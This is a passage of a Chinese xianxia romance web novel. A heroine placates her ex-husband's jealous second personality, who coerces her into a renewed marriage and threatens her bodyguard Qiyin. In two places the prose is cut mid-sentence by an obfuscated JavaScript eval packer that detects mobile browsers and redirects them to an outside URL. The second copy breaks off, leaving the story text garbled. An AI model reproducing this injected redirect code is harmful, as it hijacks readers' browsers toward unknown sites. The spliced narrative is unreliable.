他沉默须臾,忽而道:“夫人从未叫过我的姓名。” 真是麻烦。 姬灵水毫无感情叫了声“鱼扶鹤”。 “鱼扶鹤”却直直摇头:“我不叫这个。” ? 她这两辈子都只当过鱼扶鹤的夫人,只叫过鱼扶鹤夫君。 姬灵水心下一惊,都说凡人修仙不易,想来他是太过苛刻自身,因而走火入魔了。 他认真看着她眼睛,无比虔诚地说:“夫人,你记住。面上有银纹的是我,鹤拾鱼。” “我很难得出来一回,所以你一定要记住。” “我叫,鹤拾鱼。” 15. 好乖 什么…… 已经走火入魔到这种地步了吗?鱼扶鹤反过来就是鹤拾鱼,那他们究竟是两个人还是一个人?这是鱼扶鹤的幻觉还是真的? 因为他给自己构想了另一个人生存在体内,所以才会时不时转性么。 这不还是疯了吗。 姬灵水难以维持面上的平静神色,却又忧心惹恼了他有碍于桑桑的安危,便敛眉回应:“鹤拾鱼,我记住了。” 鹤拾鱼阴霾的脸上难得露出一丝笑意。 良久,他的声音像从天外传来:“我一直在等这个与你相认的机会,你知道的,鱼扶鹤是个心狠手辣的人,若他知晓了前世的事,难保不会为了报复我而对你下手。毕竟他连自己的亲生……“ 他的话骤然断在这处,随后看向姬灵水的眸光复杂而伤感。 姬灵水仍是一头雾水,这人根本不会把话说清楚。于是耐心一字一句,用从前对小蓝说话的语气问他:“所以我之前见到的人不是你,是鱼扶鹤,他不知道前世的事,也不知道屺阴的事,对不对?” “嗯。”鹤拾鱼此时乖巧得像个孩子,琥珀色的眼珠明亮而澄澈,“那个妖鬼的身世是我告诉他的,我知道你没办法炼化他,待我们炼化他后,把灵力全给你好不好?你不要再靠近他。” ……“鱼扶鹤会同意么?”姬灵水狐疑,“怎么看都是他更容易主宰这具身体,你又说他是个性情暴戾的人。” “对了,我可以下去……”两个人在一朵莲花上实在是太拥挤了,姬灵水话刚说出口,眼见鹤拾鱼敛了神色,身后瀑布般的银发似乎也萎靡地垂散在他肩头,她登时转了个弯,笑眯眯的,“不,这样挺好的。” 未想此时鹤拾鱼面上的银纹忽而闪光,隐隐作消失的模样,他痛苦凝眉,手指按上太阳穴。 这模样像是鱼扶鹤要出来了……姬灵水本能地往后退,险些忘了身在一朵莲花上,大半身子坐到莲花花瓣边缘时整个人几乎要向后一倒,慌乱之间姬灵水朝他伸出手,“鹤拾鱼!” 与此同时,鹤拾鱼的手稳稳落在她腰间,顷刻间她已坐回原本的位置,惊魂未定望向鹤拾鱼,懊恼地想,她忘记自己现如今是有灵力的人了,遇到了危险还是下意识向别人求救。 “鹤拾鱼?是你吗?”姬灵水艰难开口。 鹤拾鱼用力把人往怀里一按,语中裹了几分欣喜:“是我,是你让我留下了。” “嗯?” 他下巴搁在姬灵水肩上,贪婪地吮吸她身上的馨香气息,“只要世上所有人都忘了鱼扶鹤这个名字,越来越多人知道鹤拾鱼,我就能永远主宰这个身体。你也不用担心他会不同意把屺阴的灵力给你了。” 是这样吗……总觉得哪里怪怪的。 她为什么要相信他? 姬灵水缓缓抬手,轻轻拍了拍他的背,回应这个拥抱:“桑桑还好吗?你什么时候放她走?” “万陵好吃好喝供着她,不必担心。” 他松开姬灵水,同她道:“我可以放了她,但你答应我的事呢?” “我已经听你说了很多了。”姬灵水急切道,“我也记住了你的名字。” “还不够。”鹤拾鱼摇头,“你要答应我再也不许跟屺阴往来,不要再想着用歪门邪道得他脉气。” 姬灵水脸颊通红,半晌才憋住一个“好”字。 心里想的却是,双修之法是被写进古籍里的法子,根本算不得歪门邪道,再说了,她才不会相信他有那么好心会把屺阴的灵力都给她! 前世被他骗了,这一世改个名字就又要再被骗一次吗! “还有,你答应我要跟我一同去人界,像前世那样,在人界住几日,我们去逛街、吃茶……你不是很爱做这些么?” 呃,其实她只想在仙洲里躺着不动吃现成的,他可以去人界买来带给她。 姬灵水笑意渐深,眼睛眯成了一条缝:“好。” “好乖。”鹤拾鱼双手捧上她的脸颊,忍不住与她额头相抵,鼻尖轻去蹭她的。 姬灵水的眼皮微微发痒,她轻抬眼,能看见他银色的睫毛颤动。 她思绪飘回很久以前,鬼使神差问了一句:“从前,陪我逛街,给我买糖葫芦,与我牵手的是你吗?” 鹤拾鱼眼底晦暗不明,声音轻不可闻,“是。” 他直起身,双手扶住姬灵水肩膀:“前世若不是鱼扶鹤从中作梗,我们何至于到如此地步。” “他并非表面那般光鲜正派,‘鬼人’便是他一手创造,只为一己私欲。我会拼命夺过这具身体,若他出现在你面前,他说的话你一个字都不要信,知道吗?” 姬灵水盯着他洁白无瑕的衣襟边,低声:“你们的记忆不可共通?” 鹤拾鱼道:“嗯,除非主动共通。我们之间说的话我不会让他知道。” “鹤拾鱼,你为什么要把身体夺过来?这本就是他的。” 或者说,这本就是他们的身体,只是因极度的分歧导致产生了不同的意识,换句话来讲,跟疯了也没什么区别。 为什么非要争个你死我活呢,姬灵水默默想。 就算他们要争要抢,跟她又有什么关系,前尘之事已然如灰烬,即使今生再言遗憾也都没有意义了。 她真心爱过他,可现如今也不知道爱的是哪个他不是吗。 真没意思。 “他的?”鹤拾鱼陡然提高声音,按在她肩上的手不自觉用力,“凭什么他可以轻易出现在天光之下,我就只能永远囿于暗无天日的深渊?不过是世人只识鱼扶鹤,不知我鹤拾鱼而已。” “待所有人都知道鹤拾鱼这个名字,那天下再没有他,这具身体的归属,也只有我。” “而你,也只是我鹤拾鱼一人的夫人。” “你可能不知道,我早就跟他…跟你和离了。”姬灵水去掰肩上他的手掌,眼神闪躲。 鹤拾鱼了然,指尖翻飞间,一张红纸展开在姬灵水眼前。 那是他们的合籍婚书。 她当时只拿走了婚契,不知还有这个东西,她伸手要去够,那婚书却像成了精一样去躲她的动作,一溜烟飞进鹤拾鱼的胸膛里。 “万陵只认这个。”他神情得意。 姬灵水冷冷道:“只万陵认有什么用,蓬於不认,上仙洲更不认,整个仙界都不会认。” “我认,你认,就够了。”鹤拾鱼将婚书摊开在手心,死死盯着上头“鱼扶鹤”三个大字,心中不是滋味,“当时那厮竟敢轻慢你,没有在上面画押。” 他手一挥,上头鱼扶鹤三个字竟歪歪扭扭变成了鹤拾鱼。 他又要再挥,不知想到什么,骤然顿了动作,食指移到唇边,想也没想咬了下去。 随后在“鹤拾鱼”上按下手印。 这是人界才会做的事。 而后他看向姬灵水。 姬灵水在他充满希冀的眼神中缓缓摇头,紧攥拳头,“我不想咬。” 这也太土气了,她好歹是个神仙。 鹤拾鱼见状伸手去握她的手腕,姬灵水急得低声喊出来:“我不要!” 手上力气却不敌他,她食指被鹤拾鱼捏在手里,死死闭眼,紧锁住双唇。 预想中的痛感并未袭来,只觉得食指上凉凉的,她睁开左眼,发现鹤拾鱼将他的指尖血涂在她的指腹上,随后带着她的手按向婚书上她的名字。 “就算礼成了。”他发出满足的谓叹。 姬灵水很想说整个仙界除了他没有人会认这个东西,可话到嘴边又说不出口,她不想做扫兴的人,起码鹤拾鱼如今看起来的确是十分愉悦。 难道他前世真的如此深爱她,只是迫于身体被别人掌管才不能表达么。 她向来愚笨,听风就是雨,这会儿没有人在旁给她支招,她根本想不通啊。 “现在能放桑桑了吗?”她将指尖的血渍随手擦在他胜雪的白袍上。 “还不行。” 姬灵水想骂人。 那她低声下气在这儿陪笑是为了什么。 鹤拾鱼去牵她的手:“现下放了她,你就不会陪我去人界了。” ……好吧,他还是挺了解她的。 姬灵水:“现在就走,不许伤害她。” 鹤拾鱼敛眉:“我知道,她是你最好的朋友。” 所以,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585771|205251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会再像上一世那样重蹈覆辙。 “主君!不好!” 殿外霍然传来方才那个侍者的叫喊声。 鹤拾鱼将姬灵水护至身后,下一瞬,侍者浑身带伤奔进了殿中,“主君,他伤了我们数十个……” 话音未落,一个黑影旋身落地,剑指莲花。 屺阴眼神触及姬灵水的时候眼睫颤动了那么两下,姬灵水立即松了紧扒着鹤拾鱼衣袍的手,如今这副场景,怎么看她都不像来救人做正事的。 鹤拾鱼见是屺阴,不由得开怀:“正想去找你,你就自己上门了。” 他身后的银发随身而起,似要化作数柄利剑直刺向外,动作太快,姬灵水来不及说话,当即伸手放出冰晶长链,在半空中阻了一瞬,鹤拾鱼收回剑风,冷静地回看她。 神情冷峻得像姬灵水从未认识过他一般,她怎么愈发觉得鹤拾鱼口中的鱼扶鹤才更像他自己呢。 果真,这男人下一句话就臊得她抬不起头。 “怎么,一世夫妻比不过一夜的么?” 姬灵水惊得说不出话,面上烫得能烤红薯。 她转头去看屺阴的神色,不知是不是还在生气,他面色阴沉得可怕,周身像结了一层寒霜,抖一抖就能掉一地雪。 “你在胡说什么啊……”姬灵水整张脸皱起来,又转向屺阴,“你你你,你为什么来?” 屺阴右手执剑,左手结雾,姬灵水认出来那是牵脉引。 “是你叫我的。” 他语气平淡,听不出情绪。 姬灵水硬着头皮说:“那是之前找你有事,现在没事了,你可以走了。” “我准了吗?”身边鹤拾鱼幽幽道。 姬灵水坐立难安,虽说她和屺阴关系不好,可毕竟相处了这么久,怎么可能一丝感情也没有。她早就没动过炼化他的心思了,更何况鹤拾鱼说是替她炼化,说不准到时候一人独吞所有的灵力,反倒最后再将她也解决了。 “是你做的?”屺阴盯着鹤拾鱼,声音干涩,难辨喜怒。 鹤拾鱼低低发笑:“反正你活在这世上也没什么用处,不若给本君做些贡献。” 他头靠近姬灵水的脖颈,举止亲密得像一对真正的夫妻,“我会杀了他,把他的头颅献给夫人。” 虽平日总想象屺阴会被炼化,可真要在她面前出这事,她一时接受不了。 姬灵水急急摆手,快要哭出来:“不要了,我不想要。” “什么意思?”鹤拾鱼凝眉,掌心掐上她腰间,厉声质问,“死过一次就这点出息吗?” “你不是想要的吗?不然,在无极山,你为什么——” “别说了!”姬灵水浑身发抖,眼泪止不住地盈满泪眶。 她就是一个如此卑劣,趁人之危的伪君子。 所有人都围在她身边告诉她她有多下作,尽管她只是为了活命,就像前世,哪怕她什么都不知道,却还是落入必死的结局。 她已经很愧疚了,不要,不要在她面前杀掉他。 “他是无辜的……”她喃喃道。 怀璧其罪。 是他们太贪婪。 “无辜?”鹤拾鱼又再靠近她几分,“夫人,你再说一次?” 姬灵水吸了几口气,近乎乞求地拉拉鹤拾鱼的衣袖:“我们好好修炼,不再做这样的事了好吗?” 他不做,其他人难道就不会做吗?鹤拾鱼还欲争辩,底下传来男人的声音。 “放了她。”屺阴神色如常,把长剑往莲花池水中一扔,平淡地像在给鱼投食,他面上细密的伤口还在不停流血,偶尔还会泛起浅蓝色的光点使之愈合,只是愈合的速度始终赶不上口子撕开的速度,那点蓝色落在鹤拾鱼眼中更为刺眼。 “虽不知你们口中想要得到的我是什么,但不管是什么,把她放了吧。她是无辜的。” 鹤拾鱼挑眉:“你有什么资格同我谈条件?” 姬灵水和屺阴,他凭什么要放弃一个? “她已经受不了了。”屺阴视线扫过浑身僵直只顾落泪的姬灵水,“如果你真心爱她,会比我这个敌人更了解她,更知道该怎么选。” 16. 人界 “是吗,夫人?”鹤拾鱼侧头,手掐上姬灵水的胳臂,面上银纹又开始忽隐忽现,他咬牙,声音似从远方传来,带着蛊惑,“我答应了你放人,也承诺不会伤害你在意之人,你答应了陪我去人界,可你为什么还要伤心?他比你的桑桑还重要吗?” 姬灵水盈满泪珠的眸子蓦然一抬,手背狠狠擦过面上的泪渍,齿尖用力去磨自己的下唇,靠那些痛意把眼泪逼回去。 随后一字一句,裹着冷意:“你在骗我,你根本就是个冷血的无情之人,你说的前世都是假的,你的情意也是假的。所以,不要与我谈承诺与感情,你根本就不会懂。” “情意?你跟他有情意?”鹤拾鱼眉头越皱越深,似在努力思索姬灵水话中的意思,而后只浅浅道一句,“那他更该死了。” 说罢,他又看向底下站着的屺阴,掌风一聚,光气团在他手心。还未动作,此时却有一阵剧烈的头痛袭来,眼前景象模糊了几瞬,他睁大双眼,让自己稳下身形。 ……姬灵水险些一口鲜血吐出来,跟鹤拾鱼说话就像在对牛弹琴。 她抬眸,凝住鹤拾鱼面上的银纹,此时银纹闪烁得愈发快起来,她见鹤拾鱼也有些神志不清的模样,他双目通红,不时用力甩头。 是鱼扶鹤醒了,在与他争夺身体么?显然鹤拾鱼也没料到鱼扶鹤此次如此迫切想要苏醒,或许……是他察觉到了鹤拾鱼想要做什么让他再也醒不过来吗? 对,既然他们的身体里有两个意识,那是不是炼化屺阴后得到的灵力也只能为一个意识所用?所以或许鱼扶鹤根本就不知道屺阴的身份,不知道屺阴会给人带来什么能量。 她即刻双手紧攥住鹤拾鱼的衣襟,迫他看向自己,冷静道:“鱼扶鹤快要出来了,你的时间不多了是不是?你还要在这里纠缠吗?屺阴功力虽不及你,却也能消耗你许多,你若是要跟他打,只会让鱼扶鹤更容易现身。届时他一定会明白一切,想尽办法困住你,让你什么都得不到,所以你现在是执意要杀屺阴,还是趁还有时间,跟我一起去人界?” 鹤拾鱼渐渐平静下来,他强压下脑中不适,盯着姬灵水的唇一张一合,听她极快说出这一连串的话后,几乎是没有任何犹疑脱口而出:“跟你走。” 姬灵水松了口气,又紧了紧他的衣领,“桑桑在哪儿?” 鹤拾鱼仍盯着她的脸,没有半分反抗:“长生殿。” “好,我们走。”姬灵水松开他的衣襟,一手自然牵起鹤拾鱼的掌心,与他十指相扣,眼神下睨看了屺阴一眼,随后运气念诀,带着鹤拾鱼直接飞身出了殿门。 屺阴立在原地一动没动,眼神从二人背影处收回,半晌才轻轻用指节拭过面上细密的血痕。 而后径直走向长生殿。 · 人界,扶灵行宫。 鹤拾鱼的银色长发已变成正常长度,简单用一根玉簪作挽,面上的银纹不知为何已不再闪动,只是如一根细小的丝线发出浅淡的光芒。 姬灵水坐在妆台前,从铜镜中看见他拿着另一只玉簪走过来,随后停驻在她身后,顺势接过她手中的梳子,再沾了一些梳头油轻抹匀在她的发尾,最后再小心翼翼地上手梳头。 姬灵水百无聊赖玩着妆奁上拿的手串,任由鹤拾鱼在她头上乱动,面色平静如水。 身后的人忽然握着她的发丝开口:“你不高兴?” 对啊,谁被逼着成亲会高兴啊?她无奈盯着镜中两人的大红喜袍。 早知道鹤拾鱼是想拉她来人界成亲,那她一定会三思三思再三思。 加上前世,满打满算她已经成了三次婚了,跟三个人成婚的话她也就不说什么了,可三次都是与同一人成婚!根本一点也不好玩啊。 还是那个流程,还是那张脸,她连婚礼上所有人的词都能背下来了。 她面上挤出一点笑:“高兴,高兴。” “可你高兴的时候发丝会变成跟我很像的银蓝色。”但她的头发眼下还是很黑。 姬灵水立即转过身,微微仰首面对着鹤拾鱼,把他手里的梳子拿过来:“那是因为今日本就不该是你下人界的日子,行宫里不该有人,你我头发都如此夺目的话就不太好了。你想想,你备受人界百姓爱戴是为什么,不正是因你勤勉理政、爱民如子吗?要是他们知道你有事没事带夫人来人界办婚礼,会怎么想你?” “只有鱼扶鹤会在意这个。”他面色微沉,像在隐忍,“你是不是不想?可你答应过我。” ……姬灵水觉得同他说话好累。 她扯了扯喜袍的腰带,“我只是太累了,人界的婚礼太繁杂,喜服穿着也不舒服……况且以前我们成过亲了。” “那不是跟我。”良久,鹤拾鱼才道。 想来他说得也对,姬灵水正要想想找些什么别的借口混过去,鹤拾鱼却已背过身,沉着脸出了房门。 来的时候姬灵水就琢磨好了,既然鱼扶鹤什么都不知道,也不会对她造成什么威胁,更不会对屺阴下手,那她必须得等鱼扶鹤醒来掌管这具身体。 要是鱼扶鹤愿意帮着压制住鹤拾鱼这个危险之人就更好了。 在此之间,她只有好好哄着鹤拾鱼,再趁机找鱼扶鹤醒过来的办法。 思及此,姬灵水咬咬牙,不就是再成一次婚吗,有什么大不了的。 她拎着裙摆奔出来,柔声唤他:“拾鱼君?” “再不拜堂就要错过吉时了,方才都是我的错,我也想与拾鱼君再拜一次堂呢——诶!” “你怎么这副模样?” 鹤拾鱼立在堂中,身上的喜服不见踪迹,也不是平日里常穿的金银丝线交织的白袍,而是一件人界普普通通的月白色长衫。 更显眼的是他的乌发。 印象中姬灵水从未见过他银发之外的模样,或许这便是他还是凡人时的样子。 只是她并未想到,没了华丽的服饰装扮,反而衬得他那张脸愈发惊为天人,比平日的装扮还显得这人更为高贵不凡,就算放进人堆里也能一眼瞧见。 鹤拾鱼对她示意,她手边即刻出现了一身凡人衣装,她翻了翻,是条水蓝色的长裙。 “换下吧。” “嗯?”姬灵水一愣,随即苦着脸说,“我不是这个意思。” 鹤拾鱼却低眉走向她,伸手勾开她的腰带,惊了她一跳,“干什么!”姬灵水急急按上他抓腰带的那只手,鹤拾鱼只是平淡道:“不是穿着不舒服吗?” “你不成亲了?”姬灵水试探问。 鹤拾鱼仍垂着眉眼,他指腹在腰带上留恋地摩挲,纤长的手指被红袍映得更白皙,“我们的时间不多了,或许……” 她说得对,人界的婚礼流程太过繁琐,或许他撑不到一场婚礼结束。 此次苏醒,他为了不让鱼扶鹤知晓半点风声,稍微动了些手段,所以鱼扶鹤醒来后才会那么强烈地想要冲破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎样?”姬灵水的笑凝在脸上,她看起来很蠢吗?就这么容易被识破计划? “不用为了讨我欢心就这样,如若不开心,就不必这样。”鹤拾鱼反握住她手,“你是我的夫人,只需我能让你开心就好。” 他注视着姬灵水的眼睛,真挚道:“虽是我逼你来人界陪我,可我也是想来陪你的。” 姬灵水忆起前世每次匆匆从人界离开的时刻。 喝了一半的茶水,没等到开场的戏园,掉落在地上的桂花糖,还有被扔在街上的她。 这样的记忆,是前世的家常便饭。 是想用今生来补偿前世的过错?让她再跌一次么。 她的脸色不太好看,被鹤拾鱼握住的手有些松动。 鹤拾鱼察觉到姬灵水的不悦,手上用了几分力,强拉着她出了行宫。 喧闹的街市也没让姬灵水提起些许兴趣,她愣愣地跟在他身后,任由他带着她到一个又一个摊位前。 鹤拾鱼捏了几只珠花在她头上比划,“很美,喜欢吗?” 姬灵水心里有些闷:“不要了。” 鹤拾鱼转头给老板付了银子,又仔细着边打量她边把珠花别上她发间,末了再向老板借了铜镜举在她面前让她看。 周围来来往往的人不禁投来视线,姬灵水只想赶紧走,对着铜镜摇头晃脑了几下,正要说话,忽然被镜中一个熟悉的身影吸引了目光,她急忙转过头去寻,却什么都没看到。 鹤拾鱼问:“怎么了?” 姬灵水勉强扯出一个笑容:“没什么,我们快走吧。” 她推着鹤拾鱼往前走,趁机向后看了几眼。 若她没看错,是那个人……他怎么会来? 17. 选择 鹤拾鱼带姬灵水上了酒楼,好巧不巧,底下评书的先生讲的就是千年前那位升仙的人皇。 姬灵水小口抿着茶水,冷不丁涩得她眉头紧皱,还不忘去瞥鹤拾鱼的神色,毕竟他在她面前表现得那般不想与鱼扶鹤沾边,不知听人大肆赞颂他的功绩时会是如何感受。 未想身边鹤拾鱼听得津津有味。 姬灵水把茶杯放下,掩不住好奇:“你不是很讨厌他吗?还是说,他们口中的鱼扶鹤其实才是你,那些好事是你做的?” 鹤拾鱼微微动作,指尖去够桌上的物件,忽然头上玉簪松落,引得墨色长发轻柔垂散下来,姬灵水眼疾手快去帮他扶那玉簪,下一瞬舌尖抿到一丝甜意。 她轻怔住,只见鹤拾鱼捏着一块桂花糕抵在她双唇间,正盯着她发笑。 姬灵水直愣愣咬下一口,鹤拾鱼才收回手:“还苦吗?” 姬灵水摇头:“现下很甜了。” 心里却发怵,方才她被茶水苦到的时候分明一声未吭,鹤拾鱼视线在评书先生上,到底如何注意到她的?是不是两边脸上还长了她看不到的眼睛? 此人实在可怕。 “我是很讨厌他。”鹤拾鱼忽然开口。 姬灵水反应过来他是在回答她方才的话。 鹤拾鱼继续道:“可在某些事上我们是一样的,譬如我们都想尽力保人界安乐,不受外界侵袭。” “三千年前仙界打败魔界后,魔界曾想用秘术借无数凡躯复起,那时鱼扶鹤不得其法,所以我才会降生。” 三千年前……那时她好像才出生。 “正因那次护了人界安宁,他才成了流芳百世的仁德明君,所以这称颂,我有何听不得?” 姬灵水问:“可你说过……鱼扶鹤不择手段,甚至亲手制了‘鬼人’,如此草菅人命你也允许么?” 与他这么相处下来,姬灵水并不觉得他就像自己口中说得那般无辜,再者说,他与鱼扶鹤又不是一体双魂,而是真真切切就是同一个人。 鱼扶鹤坏,鹤拾鱼也好不到哪去。 鹤拾鱼神色晦暗,把指间剩下的半块桂花糕送入口中。 甜气盈润口腔。 让他想起以前的事。 他盯着指腹上的糕屑:“以前你吃桂花糕的时候,会跟他接吻。” 鹤拾鱼记得那个味道。 就是这个味道。 ……?姬灵水头皮一阵发麻,是怎么聊到这里的? 她坐立不安,眼神飞快在周围扫过,生怕有人听到他说话。 鹤拾鱼顶着这么张脸,背脊板正遗世独立般坐在此处就已够扎眼了,又动不动十分正经深沉地冒出这些让她脸红的话语……她觉得丢人,啊不,丢仙! “我问的不是这个!”她压低声音赶紧道。 “我问的是这个。”鹤拾鱼正色,眼神凝在她面上。 姬灵水颇为无奈:“你要问什么?” 鹤拾鱼沉声:“若品行恶劣的人是我,你会选择我吗?” …… 长久的沉默。 姬灵水自认愚笨的头脑再一次受到了挫败。 她竟听不懂这句话。 第一,她并未因鱼扶鹤品行恶劣而选择鹤拾鱼; 第二,鹤拾鱼为何要假设自己品行恶劣; 第三,她为什么要做选择?她只是暂且想鱼扶鹤醒过来,借此保一保屺阴的命而已。 难道前世她选了鱼扶鹤?可她前世根本就不知道有鹤拾鱼的存在啊。 “我知道你的答案了。”鹤拾鱼冷着脸起身,惊得姬灵水立即伸手去拉他,脚步踉跄了两下。 鹤拾鱼还是不管不顾要走,姬灵水只好苦着脸一副豁出去的模样从背后伸手将鹤拾鱼牢牢箍住。 这下果然周围的人眼神全都看过来了,姬灵水脸红得像烫熟的虾,几乎要哭出来。 她暗暗发誓,等她得了屺阴的灵力,第一个报复的人就是鹤拾鱼! 那厢鹤拾鱼不知又是哪根筋搭错了,他顺势握着姬灵水的手转过身,方才的不郁的神色仿佛是她看错了一样,仔细瞧还能瞧见他眼底泛起委屈的红。 她都还没哭呢,他装什么可怜? 鹤拾鱼似乎看不见周围人的指指点点,垂眸满眼都是姬灵水。 他伸手去擦她嘴角的细小的桂花糕屑。 方才他就想这么做的。 鹤拾鱼手抚上来的时候姬灵水心中警铃大作,调动了许久未用过的传音术,紧紧闭着双唇。 “你要是敢亲我你就完了!” 鹤拾鱼的手一顿,苦涩的笑意转瞬即逝。 随后清晰的声音出口:“我不会。” 只要她不想要的,他什么都不会做。 他只期望她永远也不要记起前尘过往,不要想起曾经受过的伤,不要知晓他所犯下的过错。 哪怕他永远以鱼扶鹤的记忆与她相处也没关系。 · 累了一天好不容易回到行宫,姬灵水倒头就睡,倒也不担心鹤拾鱼会趁晚上的功夫偷偷跑去干掉屺阴,白日在酒楼的时候鹤拾鱼就答应了她,只要她不跑,鹤拾鱼就会一直乖乖待在人界。 她如今是知晓了,只要她表现出一副喜爱鹤拾鱼超过鱼扶鹤的模样他就会很高兴,就连她叫他名字时他都很欢喜。 对此姬灵水讨教了他,恬不知耻地问他为何对自己情根深种,鹤拾鱼也恬不知耻地回应道,前世成亲后他就对姬灵水一往情深了,一切都怪鱼扶鹤棒打鸳鸯,生生拆散了二人。 这么说,她缺失的那段记忆应该就是鱼扶鹤以鹤拾鱼的身份做了什么不好的事。 姬灵水躺在榻上,思绪翻飞。 若事实是如此,前世丢下她的人是鱼扶鹤,而不是鹤拾鱼,那她算是找回了曾经的爱人么。 但要她叩问自己的心,还是难以掀起波澜。 鹤拾鱼冲破桎梏出来寻她,她却一心只想召回另一个人,甚至想让他永远消失……但今日逛街市的种种,的确又让她思起了前尘的些许甜蜜。 姬灵水手指抵在唇间,想起桂花糕的香甜气味。 鹤拾鱼说的那件事,其实是他们新婚后不久一同下人界时发生的。人皇大婚,人间自然也热闹纷纷,特意办了十日灯会相庆,那时鱼扶鹤仍然十分木讷,在她面前的举止完全是一个浑然天成的正人君子,与她并肩走在一起的时候中间可以修一条银河。 姬灵水本性热情,这般跟他干游了九日灯会,直到最后一夜,她百无聊赖地啃着刚买的桂花糕时实在忍不住,问鱼扶鹤要不要尝尝。 鱼扶鹤先是一愣。他似乎并不喜甜食,却抵不过姬灵水充满希冀的眼神,温声说可以一试。 姬灵水闻言捏着一块桂花糕直直送到他唇间,而后趁着鱼扶鹤愣神的时候,姬灵水踮着脚凑上去,飞快咬下另一半,而后她仿佛占了很大便宜似的,笑嘻嘻地同他说,“这样更甜。” 姬灵水还记得那夜。 整条街的灯火熄灭时,他们周遭的世界一片昏暗,只有唇间有着彼此的温度。 她听到了鱼扶鹤心跳的声音。 所以,这一切都被鹤拾鱼看到了? 该死啊该死。 …… 越想越 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待看清眼前人模样的时候,姬灵水满腔的惊惧瞬间化为乌有,她从未想到有朝一日会见到屺阴就像见到了亲人般安心,她不仅松了口气,心中甚至还有几分隐秘的喜悦。 “你怎么来了!”姬灵水立即看向殿外,小声道,“他没发现你吗?” 屺阴抱臂,眼神睨下来:“他发现不了。” “什么意思?”姬灵水有些紧张,“要是被发现,他不会放过你的。” 屺阴手指翻动,姬灵水这才发现他指间在摆弄一只瓷瓶,只是须臾不见,这人的肤色好像又白了几分,她能看见他掌心的青筋。 “从他的长生殿里拿的,似乎对他很有效用。”他解释道。 姬灵水险些喜极而泣,二话不说就要上前去抱他,被屺阴一拦,他神色淡淡:“来找你只是因为牵脉引还在你手中,你若出事,我也无法独活。” 真的吗……姬灵水更感动了,这么说屺阴拼死也会保护她的安危吗?那她暂时不必太过忧心有人偷偷解决掉她了。看来当初找姬烬水要牵脉引是一个无比正确的抉择。 一少了束缚,姬灵水今日的委屈纷纷涌上心头,她撇嘴,倒豆子般向他倾诉:“我可是因为保护你才被他威胁的,于情于理,你都应该来。” 屺阴罕见地没有回以嘲讽,“桑桑在上仙洲等你。” 姬灵水神情更忧伤了:“我不能走……在他变回鱼扶鹤之前,我得一直在这里。” “变回鱼扶鹤?” 姬灵水点点头:“此事说来话长,总之你能来找我我很高兴,可我不能走,我一走,他一定会去找你。” 屺阴眼神暗下去:“为什么找我?在我身上,有什么我不知道的秘密?” “……”姬灵水不知道能不能说,要是说了,以后恐怕就不能接近他取他的灵力了。 屺阴的脚步却逼过来,姬灵水方才本就是跪坐在床上与他说话,这会儿身子越来越往下塌。 直至他整个身影罩着她,姬灵水避无可避。 她咬咬牙,勾住屺阴的脖子,把他整个人往榻上拉。 “那你答应我一件事,我就告诉你。” 很奇怪,自从上次在无极山之后,她好像越来越不讨厌他了。离他很近时,她还能看见他脸上细小的绒毛,嗅到他身上奇异的花香。 屺阴一只手撑在床上,支起自己的身子,看向姬灵水的眼神难掩愤然,他强压下自己的情绪,硬着声线咬牙切齿道:“公主,勿要得寸进尺。” 他如今尚且清醒,怎容她一而再再而三地践踏。 他就不该管她的死活。 18. 偷情 姬灵水闻言面色冷下来,手还牢牢环着他脖颈不肯放松:“什么叫得寸进尺?若不是为了你,我怎会被人拘到此处毫无自由?” 屺阴眼神瞥向另一侧,不去看她眼睛:“可依属下看,公主今日分明玩得很是尽兴。” 竟也被他看见了吗? “你早就来了?”姬灵水皱眉。 他视线扫过姬灵水靠在他肩上的双臂,蓝色轻纱顺着手臂下坠,露出光洁的肌肤,他迫使自己直视她的眼睛:“公主对每个人都这样吗?就算是我,也一视同仁?” 果然被他看见了! “能与他们相提并论,你很委屈?”姬灵水隐隐约约有些懂了屺阴的心思,“那日的事我有错,你也并不清白。” 屺阴疑惑挑眉,似乎很认真在思索姬灵水的这句话。 这副模样让姬灵水想起小时候父君送她的一只小狼崽,平日总是张牙舞爪尽显凶相,姬灵水一抱它,顺着毛发摸摸,它就乖顺得像小狗。 这样想着,姬灵水腾出一只手揉了把他的后脑勺,屺阴立即警觉起来,眸中闪过黑红色的光。 姬灵水循循善诱:“以你的身手,那一日怎会无法反抗?是不能反抗,还是不想反抗?” 屺阴脱口而出:“我受伤了。” 无极山的仙草威力姬灵水怎会不知,何必在此颠倒黑白。 “好,就算那日是我趁人之危,最后是不是我救了你?”姬灵水眸光晶亮,紧紧凝着他,“是你的命重要还是清白重要?” “……” “我问你,你为什么要去万陵仙洲找我,为什么要帮我救桑桑,为什么今日会来人界?” 屺阴正欲开口,姬灵水打断他:“别说是因为我们生死一体,若你不想,如何也不会来,对么?” 她手稍用力,把屺阴的身子拉得离自己更近:“你来只是因为你想来罢了,你总觉得自己厌我恨我,可你还是不忍心让我死了是不是?” “多少人挤破了头想来蓬於提亲,而你自小就跟在我身边,却说眼里根本没有我,你自己信吗?” “不管是爱是恨,你都没办法忽视我。” 屺阴并未答话,可他眸光中一闪而过的震惊之色让姬灵水愈加兴奋。 姬灵水忽而用头顶轻撞了撞他的下巴,屺阴感受到一丝痒意,才从方才那番话回过神来重新看向姬灵水,“无稽之谈。” 榻上的少女并不在意,反而语气里多了些俏皮:“还记得我曾经有过一只小狼吗?” ……“不记得。”屺阴移开目光。 “不论我丢下它多少次,如何冷待,但只要一招手,它都会朝我走过来。” 姬灵水眨眨眼,“你就是那只小狼。” 话音刚落,她将屺阴整个人向下一拉,头轻轻一仰,双唇正对上屺阴冰冷的银面。姬灵水一翻身,把屺阴压在身下,手指去擦拭银面上留下的淡红色口脂。 